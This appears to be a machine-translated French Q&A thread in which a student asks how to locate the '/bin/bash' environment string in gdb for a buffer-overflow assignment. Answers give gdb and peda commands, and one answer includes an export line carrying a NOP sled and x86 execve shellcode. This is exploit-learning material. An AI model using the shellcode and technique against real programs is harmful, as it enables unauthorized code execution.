web-dev-qa-db-fra.com

Recherche de variables d'environnement avec gdb, pour exploiter un buffer overflow

Je dois exploiter un débordement de tampon très simple dans un programme C++ vulnérable pour une affectation et je ne trouve pas la variable d'environnement Shell.

Je n'ai jamais travaillé avec BoF avant, et après avoir lu beaucoup de questions similaires, de messages, etc. J'ai ces informations (corrigez-moi si c'est faux):

  • Le programme stocke les variables d'environnement dans une variable globale appelée environ
  • Je peux trouver l'adresse de cette variable comme ceci:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • J'ai besoin de trouver le /bin/bash chaîne dans cette variable pour lancer un shell (j'ai déjà le système et les adresses de sortie, je n'ai besoin que de la route vers le shell). Et c'est là que je ne sais pas quoi faire. J'ai lu des tutoriels gdb, mais toujours rien. x/s 0xb7fd1b00 ne produit rien d'utile.

12
Palantir

environ est un pointeur à pointeur, car il a le type char **environ.

Vous devez essayer quelque chose comme:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Les variables d'environnement sont à 16 octets du pointeur de base (% ebp).
  • Mettez un point d'arrêt dans la fonction principale et faites-le,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Référez-vous à ce blog

4
h1dd3ntru7h

si vous avez peda installé pour gdb, alors vous pouvez simplement taper ceci dans gdb:

gdb-peda$ searchmem Shell

La sortie montrerait

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Vous pouvez également utiliser "refsearch variable_name" si vous avez installé peda pour gdb.

exemple:

Tout d'abord, vous devez ajouter une variable (quelque chose comme Shellcode) à l'environnement.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Ouvrez ensuite gdb avec un exemple de programme, arrêtez main et exécutez.

Lorsque le programme se met en pause sur le point d'arrêt, vous pouvez rechercher la commande d'adresse d'adresse d'environnement suivante.

refsearch Shellcode

0
user147694